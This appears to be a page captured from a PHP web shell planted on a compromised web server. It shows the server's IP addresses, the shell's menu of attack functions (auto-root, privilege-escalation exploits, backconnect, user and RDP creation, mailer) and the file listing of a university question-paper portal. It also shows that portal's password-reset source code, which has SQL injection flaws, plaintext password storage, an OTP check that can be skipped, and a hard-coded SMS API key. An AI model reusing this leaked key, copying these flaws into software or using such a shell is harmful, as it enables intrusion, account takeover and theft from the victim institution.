Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.134.84.38
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
collportal /
custom_src /
[ HOME SHELL ]
Name
Size
Permission
Action
acceptqp.php
4.45
KB
-rw-rw-r--
addqptrancenter.php
2.13
KB
-rw-rw-r--
assignUserMenu.php
12.78
KB
-rw-rw-r--
assignmod.php
37.61
KB
-rw-rw-r--
availableqp.php
7.95
KB
-rw-rw-r--
changePwd.php
8.62
KB
-rw-rw-r--
deggrpCreation.php
2.84
KB
-rw-rw-r--
degreeCreation.php
4.07
KB
-rw-rw-r--
displayTempDet.php
8.07
KB
-rwxr-xr-x
eligibleQpSetter.php
4.09
KB
-rw-rw-r--
error_log.php
755
B
-rw-rw-r--
forgetPassword.php
4.62
KB
-rw-r--r--
generateBill.php
21.27
KB
-rw-r--r--
getTeacherlists.php
954
B
-rw-rw-r--
guidelines.php
578
B
-rw-rw-r--
login.php
19.3
KB
-rw-rw-r--
mapTeachersQbms.php
3.88
KB
-rw-rw-r--
modupdqp.php
17.15
KB
-rw-rw-r--
prepareQpNew.php
19.1
KB
-rw-rw-r--
preparethqp.php
30.91
KB
-rw-rw-r--
qpbankdet.php
1.47
KB
-rw-rw-r--
qpdaylog.php
433
B
-rw-rw-r--
qpfootnote.php
4.61
KB
-rw-rw-r--
qplog.php
938
B
-rw-rw-r--
qpmodreport.php
6.23
KB
-rw-rw-r--
qpsummary.php
6.9
KB
-rw-rw-r--
qptran.php
24.32
KB
-rw-rw-r--
registration.php
25.41
KB
-rw-rw-r--
saveAbstractForm.php
6.83
KB
-rw-rw-r--
select-final-qp.php
10.17
KB
-rw-rw-r--
selectqpsetter.php
59.35
KB
-rw-rw-r--
sendGridMail.php
1.72
KB
-rw-rw-r--
sendzohomail.php
1.46
KB
-rw-rw-r--
subjectCretion.php
8.58
KB
-rw-rw-r--
subqnwise.php
1.46
KB
-rw-rw-r--
teacherentry.php
10.29
KB
-rw-rw-r--
updqppattern.php
9.83
KB
-rw-rw-r--
uploadPassword.php
805
B
-rw-rw-r--
uploadqp.php
10.22
KB
-rw-rw-r--
usertype.php
5.14
KB
-rw-rw-r--
viewQPScr.php
18.14
KB
-rw-r--r--
wordFile.php
1.32
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forgetPassword.php
<?php function validateMobileNo($aobj_context){ require_once('/var/www/html/sms/sendsmsapiv1.php'); include("sendzohomail.php"); $mobileno = $aobj_context->mobj_data["fmobile"]; $time = date("h:i A"); $query = "select fmobileno, ifnull(femail,'')as femail from qp_masuser where fmobileno='{$mobileno}'"; $result = $aobj_context->mobj_db->GetRow($query); $query = "select fmobileotp, femail from qp_masuser where fmobileno = '{$mobileno}' and ROUND(time_to_sec((TIMEDIFF(NOW(), fmobotptime))) / 60) <= 5"; $result1 = $aobj_context->mobj_db->GetRow($query); if(count($result1) > 0){ $restOtp = $result1['fmobileotp']; }else{ $restOtp = rand(100000, 900000); } if($result['fmobileno'] != NULL){ $fmobile = $result['fmobileno']; $emailid = $result['femail']; $query = "select funivcode, funivname, ifnull(fsmsprovider, 'vfirst')as fsmsprovider from control"; $result1 = $aobj_context->mobj_db->GetRow($query); $univname = $result1['funivname']; $univcode = $result1['funivcode']; $smsprovider = $result1['fsmsprovider']; $smsotp = "Dear user, Your OTP for QPMS Forgot Password is $restOtp - Logisys"; $subject = strtoupper("$univname".": Login OTP"); $message="<html>"; $message.="<body>"; $message.="<p>From {$univname}: Dear User, your Email OTP for Reset your password is {$restOtp}. sent at {$time} - Uniclare</p>"; $message.="</body>"; $message.="</html>"; try { if($smsprovider === 'vfirst'){ $sms = new SMS($univcode, 'OTP'); $sms->sendIndvidualSms($mobileno, $smsotp, '900', 'UREG'); }else if($smsprovider === 'onex'){ $sms = "Dear User, OTP for Software Registration is $restOtp - PMSOLU"; $api = "https://api.onex-aura.com/api/sms?"; $url = $api; $url.= "key=hyCR3Tm7"; $url.= "&from=PMSOLU"; $text = urlencode($sms); $url.= "&body={$text}"; $url.= "&entityid=1701160750260327092"; $url.= "&to={$mobileno}"; $url.= "&templateid=1707171885912346766"; $session = curl_init($url); curl_setopt($session, CURLOPT_HEADER, false); curl_setopt($session, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($session); curl_close($session); } // $resp = sendGridMail($emailid, $subject, $message, $univcode); $qry10 = "select ifnull(femailkey, '')as femailkey, ifnull(FSUPEMAIL, '')as FSUPEMAIL from logisys3_comexam.dbname where funivcode='{$univcode}'"; $res10 = $aobj_context->mobj_db->GetRow($qry10); $resp = sendZohoMail($emailid, $subject, $message, $res10['femailkey'], $res10['FSUPEMAIL']); $updqur = "update qp_masuser set fmobileotp = '{$restOtp}',fmobotptime = now() where fmobileno='{$mobileno}'"; $res = $aobj_context->mobj_db->Execute($updqur); $arr['msg'] = 'OTP sent to your Mobile No. and Email id'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0,"success"); return; } catch (\Throwable $th) { $arr['msg'] = 'Failed to send otp'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } }else{ $arr['msg'] = 'Failed to send otp'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); } if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, -1, "failure"); return; }else{ $arr['msg'] = 'Something went wrong! Try later'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function verifyOtp($aobj_context){ $mobileno = $aobj_context->mobj_data["fmobile"]; $fotp = $aobj_context->mobj_data["fotp"]; $query = "select ifnull(fmobileotp,'')as fmobileotp from qp_masuser where fmobileno='{$mobileno}'"; $result = $aobj_context->mobj_db->GetRow($query); if($result['fmobileotp'] == $fotp){ $arr['msg'] = "OTP Verify Successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "failure"); return; }else{ $arr['msg'] = 'Enter valid OTP'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function saveNewPassword($aobj_context){ $mobileno = $aobj_context->mobj_data["fmobile"]; $fnewpaswd = $aobj_context->mobj_data["fnewpaswd"]; $updqur = "update qp_masuser set fpassword = '{$fnewpaswd}' where fmobileno='{$mobileno}'"; $result = $aobj_context->mobj_db->Execute($updqur); if($result){ $arr['msg'] = "New Password updated Successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "failure"); return; }else{ $arr['msg'] = 'Enter valid OTP'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } ?>
Close